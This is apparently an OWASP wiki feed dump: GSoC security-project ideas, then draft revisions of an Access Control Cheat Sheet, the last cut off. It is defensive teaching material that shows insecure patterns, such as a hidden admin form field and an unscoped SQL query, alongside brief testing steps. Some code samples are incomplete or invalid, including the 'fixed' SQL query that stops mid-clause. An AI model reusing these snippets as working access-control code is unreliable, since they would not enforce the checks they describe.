As OWASP OWTF grows it makes sense to build custom unit tests to automatically re-test that functionality has not been broken. In this project we would like to create a unit testing framework so that creating OWASP OWTF unit tests is as simple as possible. The goal of this project is to create the Unit Test Framework and as many unit tests as possible to verify OWASP OWTF functionality.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* Performant and automated regression testing&lt;br /&gt;
* Unit tests for a wide coverage of OWASP OWTF, ideally leveraging the Unit Test Framework where possible&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, experience with unit tests and automated regression testing would be beneficial, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Abraham Aranguren - OWASP OWTF Project Leader - Contact: name.surname@owasp.org'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP OWTF - Python version upgrade and compatibility ===&lt;br /&gt;
&lt;br /&gt;
'''Brief explanation:'''&lt;br /&gt;
&lt;br /&gt;
Right now OWASP OWTF works on Python 2.6.5-2.7.3 (might work on surrounding versions too), the aim of this project would be to change the existing codebase so that it additionally works on newer python versions too, for example Python 3.3.&lt;br /&gt;
The intention here is to take advantage of improvements in newer python versions when available while letting OWASP OWTF work on older python versions too (i.e. 2.6.5) if that is the only option available.&lt;br /&gt;
The solution will ideally be as simple and extensible as possible so that the codebase does not become unmaintanable due to compatibility.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For background on OWASP OWTF please see: [https://www.owasp.org/index.php/OWASP_OWTF https://www.owasp.org/index.php/OWASP_OWTF]&lt;br /&gt;
&lt;br /&gt;
'''Expected results:'''&lt;br /&gt;
&lt;br /&gt;
* Performant and reliable OWASP OWTF execution on multiple python versions, in particular the latest python version (i.e. 3.3.x) as well as the previous 2.6.5-2.7.3 range.&lt;br /&gt;
* Test cases&lt;br /&gt;
* Good documentation&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisite:'''&lt;br /&gt;
&lt;br /&gt;
Python, experience with python version upgrades and python version compatibility implementations, some previous exposure to security concepts and penetration testing is welcome but not strictly necessary as long as there is will to learn&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor: Abraham Aranguren - OWASP OWTF Project Leader - Contact: name.surname@owasp.org'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP Hackademic Challenges - New challenges and Improvements to the existing ones ===&lt;br /&gt;
&lt;br /&gt;
''''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
The challenges that have been implemented so far include: web application challenges covering several vulnerabilities included in the OWASP Top 10, cryptographic challenges, and entire virtual machines including several vulnerabilities.&lt;br /&gt;
New challenges need to be created in order to cover a broader set of vulnerabilities.&lt;br /&gt;
Also existing challenges can be modified to accept a broader set of valid answers, e.g. by using regular expressions.&lt;br /&gt;
&lt;br /&gt;
Ideas on the project:&lt;br /&gt;
&lt;br /&gt;
* Simulated simple buffer overflows&lt;br /&gt;
* SQL injections&lt;br /&gt;
* Man in the middle simulation&lt;br /&gt;
* Bypassing regular expression filtering&lt;br /&gt;
* Your idea here&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
New cool challenges&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in PHP, HTML and possibly Javascript. Good understanding of Application Security and related vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
'''' Νοte:  ''''&lt;br /&gt;
The ideas on each proposed project are examples, it would be good if you undertook any of these but we equally value creativity and we are always looking for awesome new features to add to the project, so if you have an idea don't be shy, contact us. :-)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' Konstantinos Papapanagiotou - Hackademic Challenges Project Leader&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== OWASP Hackademic Challenges - Source Code testing environment ===&lt;br /&gt;
&lt;br /&gt;
''''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
Existing challenges are based on a dynamic application testing concept. We would like to work on a project that will give the capability to the attacker to review a vulnerable piece of source code, make corrections and see the result in a realistic (but yet safe) runtime environment. The code can either be run if needed or tested for correctness and security. The implementation challenges of such a project can be numerous, including creating a realistic but also secure environment, testing submitted solutions and grading them in an automatic manner. At the same time there are now numerous sites that support submitting code and then simulate or implement a compiler's functionality.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
A source code testing and improvement environment where a user will be able to review, improve and test the result of a piece of source code.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in PHP, HTML and possibly Java. Good understanding of Application Security, source code analysis and related vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
'''' Νοte:  ''''&lt;br /&gt;
The ideas on each proposed project are examples, it would be good if you undertook any of these but we equally value creativity and we are always looking for awesome new features to add to the project, so if you have an idea don't be shy, contact us. :-)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' Konstantinos Papapanagiotou - Hackademic Challenges Project Leader&lt;br /&gt;
&lt;br /&gt;
=== OWASP Hackademic Challenges - CMS improvements ===&lt;br /&gt;
&lt;br /&gt;
''''Brief Explanation:'''&lt;br /&gt;
&lt;br /&gt;
The new CMS was created during last year's GSOC. We have received feedback from users that suggest various improvements regarding functionality e.g. better user, teacher and challenges management. There are also some security improvements that are needed and in general any functionality that adds up to the educational nature of the project is more than welcome.&lt;br /&gt;
&lt;br /&gt;
Ideas on this project:&lt;br /&gt;
&lt;br /&gt;
* '''Plugin api and plugin actions interface'''&lt;br /&gt;
&lt;br /&gt;
An easy way for users to code their own plugins which will modify the appearance of hackademic or add to the functionality.&lt;br /&gt;
&lt;br /&gt;
* '''Ability to show different articles on the user's home screen''' &lt;br /&gt;
&lt;br /&gt;
Now each user is served the latest article in her/his home screen. We need the ability for either  the teacher/admin to be able to define what article each class is served.&lt;br /&gt;
&lt;br /&gt;
* '''Ability to define series of challenges'''&lt;br /&gt;
&lt;br /&gt;
The teacher/admin should be able to define a series of challenges (e.g. 2,5,3,1) which are meant to be solved in that order and if one is not solved then the student can't try the next one.&lt;br /&gt;
&lt;br /&gt;
* ''' Tagging of articles, users, challenges '''&lt;br /&gt;
&lt;br /&gt;
A user should be able to put tags on articles and challenges if he is a student and on users, classes, articles and challenges if he is a teacher.&lt;br /&gt;
Also the user should be able to search according to the tags.&lt;br /&gt;
&lt;br /&gt;
* '''Your idea here''' &lt;br /&gt;
&lt;br /&gt;
We welcome new ideas to make the project look awesome.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:'''&lt;br /&gt;
&lt;br /&gt;
New features  and security improvements on the CMS part of the project.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge Prerequisites:'''&lt;br /&gt;
&lt;br /&gt;
Comfortable in PHP and HTML. Good understanding of Application Security and related vulnerabilities if you undertake security improvements. &lt;br /&gt;
&lt;br /&gt;
'''' Νοte:  ''''&lt;br /&gt;
The ideas on each proposed project are examples, it would be good if you undertook any of these but we equally value creativity and we are always looking for awesome new features to add to the project, so if you have an idea don't be shy, contact us. :-)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' Konstantinos Papapanagiotou - Hackademic Challenges Project Leader&lt;br /&gt;
&lt;br /&gt;
===OWASP ESAPI/Java WAF - Release level===&lt;br /&gt;
'''Description:'''&lt;br /&gt;
[[OWASP_WAF_Project]] is an embedded WAF based on [[The_ESAPI_Web_Application_Firewall_(ESAPI_WAF)]] Web Application Firewall. Unlike other open source solutions. JAVA WAF works as a java filter and thus integrates with protected application in an natural way. Also, since the WAF is embedded into the application it &amp;quot;travels&amp;quot; with it, this is, migrating a protected application to another environment does not imply reinstallation, reconfiguration or any additional effort that might render the application unprotected at any time after WAF is initially configured.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' ESAPI WAF is beta level and provides good protection as it is. However, some synchronization issues identified, lack of compatibility with any other OWASP tools and massive lack of documentation, made it hard to use. Final result of the project will be a production/release level WAF with massive Unit testing of all functionality, ModSecurity log format, user friendly documentation (including a user guide, examples of protection using WebGoat or Swingset) and proven stability by doing basic performance testing.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' Java Web and Java Filter programming, JUnit unit testing. Filter programming is simple so it is not really a prerequisite as could be learned in short time. It is desirable to be familiar with Request and response Wrappers, and mod-security logs.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:jcmax |Juan Carlos Calderon]]&lt;br /&gt;
&lt;br /&gt;
===OWASP Classic ASP ESAPI rewrite===&lt;br /&gt;
'''Description:'''&lt;br /&gt;
[[Classic_ASP_Security_Project]] is a port of the famous ESAPI for Java. In particular, Classic ASP version works with ASP.NET port by using Interop. However interop technology is not stable and has many issues like many requirements to  work properly, non understandable error messages, unexpected errors and dependencies to third party libraries. Also ASP.NET version of ESAPI is not release level.&lt;br /&gt;
&lt;br /&gt;
25 years later there are still millions of applications on the wild as proven by the massive automated Sql injections targeting Classic ASP pages in later years. An effective solution that does not require complete rewriting of applications is still required.&lt;br /&gt;
&lt;br /&gt;
'''Expected Results:''' A new ESAPI for classic ASP applications that will be based on good old COM+ components or .NET HTTP Modules. This inital version should provide protection against most pervasive issues and thus will include functionality for input validation, output encoding, basic encryption, file and DB based authentication/authorization. If time is left additional ESAPI functionality might be also included. An installation Guide and a comparative of functionality with Java ESAPI. Proper Unit testing for all functionality. No user manual as Java version documentation will be used for that purpose.&lt;br /&gt;
&lt;br /&gt;
'''Knowledge prerequisite:''' Classic ASP, either COM+ (Visual Basic or any C++ COM framework) or ASP.NET HTTP Modules programming. NUnit unit testing. HTTP Module programming is simple so it is not really a prerequisite as could be learned in short time. Experience with JAVA ESAPI is a plus.&lt;br /&gt;
&lt;br /&gt;
'''Mentor:''' [[User:jcmax |Juan Carlos Calderon]]&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Access_Control_Cheat_Sheet&amp;diff=143308</id>
		<title>Access Control Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Access_Control_Cheat_Sheet&amp;diff=143308"/>
				<updated>2013-02-02T16:18:23Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
=Introduction=&lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, simple, actionable guidance for providing Access Control security in your applications.&lt;br /&gt;
&lt;br /&gt;
==What is Access Control / Authorization?==&lt;br /&gt;
&lt;br /&gt;
Authorization is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication - as these terms and their defininitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
Access Control is the method or mechanism of authorization to enfore that requests to a system resource or functionality should be granted.&lt;br /&gt;
&lt;br /&gt;
'''Role Based Access Control (RBAC)''' In Role-Based Access Control (RBAC), access decisions are based on an individual's roles and responsibilities within the organization or user base. The process of defining roles is usually based on analyzing the fundamental goals and structure of an organization and is usually linked to the security policy. For instance, in a medical organization, the different roles of users may include those such as doctor, nurse, attendant, nurse, patients, etc. Obviously, these members require different levels of access in order to perform their functions, but also the types of web transactions and their allowed context vary greatly depending on the security policy and any relevant regulations (HIPAA, Gramm-Leach-Bliley, etc.). &lt;br /&gt;
&lt;br /&gt;
An RBAC access control framework should provide web application security administrators with the ability to determine who can perform what actions, when, from where, in what order, and in some cases under what relational circumstances. http://csrc.nist.gov/rbac/ provides some great resources for RBAC implementation. The following aspects exhibit RBAC attributes to an access control model.&lt;br /&gt;
*Roles are assigned based on organizational structure with emphasis on the organizational security policy&lt;br /&gt;
*Roles are assigned by the administrator based on relative relationships within the organization or user base. For instance, a manager would have certain authorized transactions over his employees. An administrator would have certain authorized transactions over his specific realm of duties (backup, account creation, etc.) &lt;br /&gt;
*Each role is designated a profile that includes all authorized commands, transactions, and allowable information access.&lt;br /&gt;
*Roles are granted permissions based on the principle of least privilege.&lt;br /&gt;
*Roles are determined with a separation of duties in mind so that a developer Role should not overlap a QA tester Role.&lt;br /&gt;
*Roles are activated statically and dynamically as appropriate to certain relational triggers (help desk queue, security alert, initiation of a new project, etc.) &lt;br /&gt;
*Roles can be only be transferred or delegated using strict sign-offs and procedures.&lt;br /&gt;
*Roles are managed centrally by a security administrator or project leader&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
'''Discretioinary Access Control (DAC)''' Discretionary Access Control (DAC) is a means of restricting access to information based on the identity of users and/or membership in certain groups. Access decisions are typically based on the authorizations granted to a user based on the credentials he presented at the time of authentication (user name, password, hardware/software token, etc.). In most typical DAC models, the owner of information or any resource is able to change its permissions at his discretion (thus the name). DAC has the drawback of the administrators not being able to centrally manage these permissions on files/information stored on the web server. A DAC access control model often exhibits one or more of the following attributes.&lt;br /&gt;
*Data Owners can transfer ownership of information to other users &lt;br /&gt;
*Data Owners can determine the type of access given to other users (read, write, copy, etc.) &lt;br /&gt;
*Repetitive authorization failures to access the same resource or object generates an alarm and/or restricts the user's access&lt;br /&gt;
*Special add-on or plug-in software required to apply to an HTTP client to prevent indiscriminant copying by users (&amp;quot;cutting and pasting&amp;quot; of information) &lt;br /&gt;
*Users who do not have access to information should not be able to determine its characteristics (file size, file name, directory path, etc.) &lt;br /&gt;
*Access to information is determined based on authorizations to access control lists based on user identifier and group membership.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mandatory Access Control (MAC)''' Mandatory Access Control (MAC) ensures that the enforcement of organizational security policy does not rely on voluntary web application user compliance. MAC secures information by assigning sensitivity labels on information and comparing this to the level of sensitivity a user is operating at. In general, MAC access control mechanisms are more secure than DAC yet have trade offs in performance and convenience to users. MAC mechanisms assign a security level to all information, assign a security clearance to each user, and ensure that all users only have access to that data for which they have a clearance. MAC is usually appropriate for extremely secure systems including multilevel secure military applications or mission critical data applications. A MAC access control model often exhibits one or more of the following attributes.&lt;br /&gt;
*Only administrators, not data owners, make changes to a resource's security label. &lt;br /&gt;
*All data is assigned security level that reflects its relative sensitivity, confidentiality, and protection value.&lt;br /&gt;
*All users can read from a lower classification than the one they are granted (A &amp;quot;secret&amp;quot; user can read an unclassified document).&lt;br /&gt;
*All users can write to a higher classification (A &amp;quot;secret&amp;quot; user can post information to a Top Secret resource). &lt;br /&gt;
*All users are given read/write access to objects only of the same classification (a &amp;quot;secret&amp;quot; user can only read/write to a secret document).&lt;br /&gt;
*Access is authorized or restricted to objects based on the time of day depending on the labeling on the resource and the user's credentials (driven by policy). &lt;br /&gt;
*Access is authorized or restricted to objects based on the security characteristics of the HTTP client (e.g. SSL bit length, version information, originating IP address or domain, etc.) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Attacks on Access Control=&lt;br /&gt;
&lt;br /&gt;
Vertical Access Control Attacks - A standard user accessing administration functionality&lt;br /&gt;
&lt;br /&gt;
Horizontal Access Control attacks - Same role, but accessing another user's private data&lt;br /&gt;
&lt;br /&gt;
Business Logic Access Control Attacks - Abuse of one or more linked activities that collectively realize a business objective&lt;br /&gt;
&lt;br /&gt;
=Access Control Issues=&lt;br /&gt;
*Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
&lt;br /&gt;
*Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
**Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
**Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
	&lt;br /&gt;
*Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
&lt;br /&gt;
*Many administrative interfaces require only a password for authentication&lt;br /&gt;
*Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
*Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
*Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
*Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
*Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
*Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
	&lt;br /&gt;
     &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
     &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
     &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Access Control Anti-Patterns=&lt;br /&gt;
&lt;br /&gt;
*Hard-coded role checks in application code&lt;br /&gt;
*Lack of centralized access control logic&lt;br /&gt;
*Untrusted data driving access control decisions&lt;br /&gt;
*Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
*Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
*Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
*non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
*No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
==Hard Coded Roles==&lt;br /&gt;
&lt;br /&gt;
  if (user.isManager() ||&lt;br /&gt;
      user.isAdministrator() ||&lt;br /&gt;
      user.isEditor() ||&lt;br /&gt;
      user.isUser()) {&lt;br /&gt;
      //execute action&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
'''Hard Codes Roles can create several issues including:'''&lt;br /&gt;
&lt;br /&gt;
*Making the policy of an application difficult to &amp;quot;prove&amp;quot; for audit or Q/A purposes &lt;br /&gt;
*Causing new code to be pushed each time an access control policy needs to be changed. &lt;br /&gt;
*They are fragile and easy to make mistakes&lt;br /&gt;
&lt;br /&gt;
==Order Specific Operations==&lt;br /&gt;
&lt;br /&gt;
Imagine the following parameters&lt;br /&gt;
&lt;br /&gt;
  http://example.com/buy?action=chooseDataPackage&lt;br /&gt;
  http://example.com/buy?action=customizePackage&lt;br /&gt;
  http://example.com/buy?action=makePayment&lt;br /&gt;
  http://example.com/buy?action=downloadData&lt;br /&gt;
&lt;br /&gt;
'''Can an attacker control the sequence?'''&lt;br /&gt;
&lt;br /&gt;
'''Can an attacker abuse this with concurency?'''&lt;br /&gt;
&lt;br /&gt;
==Never Depend on Untrusted Data==&lt;br /&gt;
&lt;br /&gt;
*Never trust user data for access control decisions&lt;br /&gt;
*Never make access control decisions in JavaScript&lt;br /&gt;
*Never depend on the order of values sent from the client&lt;br /&gt;
*Never make authorization decisions based solely on&lt;br /&gt;
**hidden fields&lt;br /&gt;
**cookie values&lt;br /&gt;
**form parameters&lt;br /&gt;
**URL parameters&lt;br /&gt;
**anything else from the request&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
=Attacking Access Controls=&lt;br /&gt;
&lt;br /&gt;
*Elevation of privileges&lt;br /&gt;
*Disclosure of confidential data - Compromising admin-level accounts often result in access to a user's confidential data&lt;br /&gt;
*Data tampering - Privilege levels do not distinguish users who can only view data and users permitted to modify data&lt;br /&gt;
&lt;br /&gt;
=Testing for Broken Access Control=&lt;br /&gt;
&lt;br /&gt;
*Attempt to access administrative components or functions as an anonymous or regular user&lt;br /&gt;
**Scour HTML source for “interesting” hidden form fields&lt;br /&gt;
**Test web accessible directory structure for names like admin, administrator, manager, etc (i.e. attempt to directly browse to “restricted” areas)&lt;br /&gt;
*Determine how administrators are authenticated. Ensure that adequate authentication is used and enforced&lt;br /&gt;
*For each user role, ensure that only the appropriate pages or components are accessible for that role.&lt;br /&gt;
*Login as a low-level user, browse history for a higher level user’s cache, load the page to see if the original authorization is passed to a previous session.&lt;br /&gt;
*If able to compromise administrator-level account, test for all other common web application vulnerabilities (poor input validation, privileged database access, etc)&lt;br /&gt;
&lt;br /&gt;
=Defenses Against Access Control Attacks=&lt;br /&gt;
&lt;br /&gt;
*Implement role based access control to assign permissions to application users for vertical access control requirements&lt;br /&gt;
*Implement data-contextual access control to assign permissions to application users in the context of specific data items for horizontal access control requirements&lt;br /&gt;
*Avoid assigning permissions on a per-user basis&lt;br /&gt;
*Perform consistent authorization checking routines on all application pages&lt;br /&gt;
*Where applicable, apply DENY privileges last, issue ALLOW privileges on a case-by-case basis&lt;br /&gt;
*Where possible restrict administrator access to machines located on the local area network (i.e. it’s best to avoid remote administrator access from public facing access points)&lt;br /&gt;
*Log all failed access authorization requests to a secure location for review by administrators&lt;br /&gt;
*Perform reviews of failed login attempts on a periodic basis&lt;br /&gt;
*Utilize the strengths and functionality provided by the SSO solution you chose&lt;br /&gt;
&lt;br /&gt;
'''Java'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
if ( authenticated ) {&lt;br /&gt;
&lt;br /&gt;
	request.getSession(true).setValue(“AUTHLEVEL”) = X_USER;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''.NET (C#)'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
if ( authenticated ) {&lt;br /&gt;
&lt;br /&gt;
	Session[“AUTHLEVEL”] = X_USER;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''PHP'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
if ( authenticated ) {&lt;br /&gt;
&lt;br /&gt;
	$_SESSION[‘authlevel’] = X_USER; 	// X_USER is defined elsewhere as meaning, the user is authorized&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Best Practices=&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Code to the Activity==&lt;br /&gt;
&lt;br /&gt;
   if (AC.hasAccess(ARTICLE_EDIT)) {&lt;br /&gt;
       //execute activity&lt;br /&gt;
   }&lt;br /&gt;
*Code it once, never needs to change again&lt;br /&gt;
*Implies policy is persisted/centralized in some way&lt;br /&gt;
*Avoid assigning permissions on a per-user basis&lt;br /&gt;
*Requires more design/work up front to get right&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Centralized ACL Controller==&lt;br /&gt;
&lt;br /&gt;
*Define a centralized access controller&lt;br /&gt;
      ACLService.isAuthorized(ACTION_CONSTANT)&lt;br /&gt;
      ACLService.assertAuthorized(ACTION_CONSTANT)&lt;br /&gt;
*Access control decisions go through these simple API’s&lt;br /&gt;
*Centralized logic to drive policy behavior and persistence&lt;br /&gt;
*May contain data-driven access control policy information&lt;br /&gt;
*Policy language needs to support ability to express both access rights and prohibitions&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Using a Centralized Access Controller==&lt;br /&gt;
&lt;br /&gt;
*In Presentation Layer&lt;br /&gt;
&lt;br /&gt;
       if (isAuthorized(VIEW_LOG_PANEL))&lt;br /&gt;
       {&lt;br /&gt;
          Here are the logs&lt;br /&gt;
          &amp;lt;%=getLogs();%/&amp;gt;&lt;br /&gt;
       }&lt;br /&gt;
	&lt;br /&gt;
*In Controller&lt;br /&gt;
&lt;br /&gt;
       try (assertAuthorized(DELETE_USER))&lt;br /&gt;
       {&lt;br /&gt;
          deleteUser();&lt;br /&gt;
       }&lt;br /&gt;
&lt;br /&gt;
==Best Practice: Verifying policy server-side==&lt;br /&gt;
&lt;br /&gt;
*Keep user identity verification in session&lt;br /&gt;
*Load entitlements server side from trusted sources&lt;br /&gt;
*Force authorization checks on ALL requests&lt;br /&gt;
**JS file, image, AJAX and FLASH requests as well!&lt;br /&gt;
**Force this check using a filter if possible&lt;br /&gt;
&lt;br /&gt;
=SQL Integrated Access Control=&lt;br /&gt;
&lt;br /&gt;
'''Example Feature'''&lt;br /&gt;
&lt;br /&gt;
    http://mail.example.com/viewMessage?msgid=2356342&lt;br /&gt;
&lt;br /&gt;
'''This SQL would be vulnerable to tampering'''&lt;br /&gt;
&lt;br /&gt;
  select * from messages where messageid = 2356342&lt;br /&gt;
&lt;br /&gt;
'''Ensure the owner is referenced in the query!'''&lt;br /&gt;
&lt;br /&gt;
  select * from messages where messageid = 2356342 AND messages.message_owner = &lt;br /&gt;
&lt;br /&gt;
=Access Control Positive Patterns=&lt;br /&gt;
&lt;br /&gt;
*Code to the activity, not the role&lt;br /&gt;
*Centralize access control logic&lt;br /&gt;
*Design access control as a filter&lt;br /&gt;
*Deny by default, fail securely&lt;br /&gt;
*Build centralized access control mechanism&lt;br /&gt;
*Apply same core logic to presentation and server-side access control decisions&lt;br /&gt;
*Determine access control through Server-side trusted data&lt;br /&gt;
&lt;br /&gt;
=Data Contextual Access Control=&lt;br /&gt;
&lt;br /&gt;
'''Data Contextual / Horizontal Access Control API examples'''&lt;br /&gt;
&lt;br /&gt;
    ACLService.isAuthorized(EDIT_ORG, 142)&lt;br /&gt;
    ACLService.assertAuthorized(VIEW_ORG, 900)&lt;br /&gt;
&lt;br /&gt;
Long Form&lt;br /&gt;
&lt;br /&gt;
    isAuthorized(user, EDIT_ORG, Organization.class, 14)&lt;br /&gt;
	&lt;br /&gt;
*Essentially checking if the user has the right role in the context of a specific object&lt;br /&gt;
*Centralize access control logic&lt;br /&gt;
*Protecting data at the lowest level!&lt;br /&gt;
&lt;br /&gt;
= Related Articles  =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
=Authors and Primary Editors=&lt;br /&gt;
&lt;br /&gt;
Jim Manico - jim [at] owasp dot org&lt;br /&gt;
Fred Donovan - fred.donovan [at] owasp dot org&lt;br /&gt;
Mennouchi Islam Azeddine - azeddine.mennouchi [at] owasp.org&lt;/div&gt;</summary>
		<author><name>Islam Azeddine Mennouchi</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Access_Control_Cheat_Sheet&amp;diff=143307</id>
		<title>Access Control Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Access_Control_Cheat_Sheet&amp;diff=143307"/>
				<updated>2013-02-02T16:15:34Z</updated>
		
		<summary type="html">&lt;p&gt;Islam Azeddine Mennouchi: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
=Introduction=&lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, simple, actionable guidance for providing Access Control security in your applications.&lt;br /&gt;
&lt;br /&gt;
==What is Access Control / Authorization?==&lt;br /&gt;
&lt;br /&gt;
Authorization is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication - as these terms and their defininitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
Access Control is the method or mechanism of authorization to enfore that requests to a system resource or functionality should be granted.&lt;br /&gt;
&lt;br /&gt;
'''Role Based Access Control (RBAC)''' In Role-Based Access Control (RBAC), access decisions are based on an individual's roles and responsibilities within the organization or user base. The process of defining roles is usually based on analyzing the fundamental goals and structure of an organization and is usually linked to the security policy. For instance, in a medical organization, the different roles of users may include those such as doctor, nurse, attendant, nurse, patients, etc. Obviously, these members require different levels of access in order to perform their functions, but also the types of web transactions and their allowed context vary greatly depending on the security policy and any relevant regulations (HIPAA, Gramm-Leach-Bliley, etc.). &lt;br /&gt;
&lt;br /&gt;
An RBAC access control framework should provide web application security administrators with the ability to determine who can perform what actions, when, from where, in what order, and in some cases under what relational circumstances. http://csrc.nist.gov/rbac/ provides some great resources for RBAC implementation. The following aspects exhibit RBAC attributes to an access control model.&lt;br /&gt;
*Roles are assigned based on organizational structure with emphasis on the organizational security policy&lt;br /&gt;
*Roles are assigned by the administrator based on relative relationships within the organization or user base. For instance, a manager would have certain authorized transactions over his employees. An administrator would have certain authorized transactions over his specific realm of duties (backup, account creation, etc.) &lt;br /&gt;
*Each role is designated a profile that includes all authorized commands, transactions, and allowable information access.&lt;br /&gt;
*Roles are granted permissions based on the principle of least privilege.&lt;br /&gt;
*Roles are determined with a separation of duties in mind so that a developer Role should not overlap a QA tester Role.&lt;br /&gt;
*Roles are activated statically and dynamically as appropriate to certain relational triggers (help desk queue, security alert, initiation of a new project, etc.) &lt;br /&gt;
*Roles can be only be transferred or delegated using strict sign-offs and procedures.&lt;br /&gt;
*Roles are managed centrally by a security administrator or project leader&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
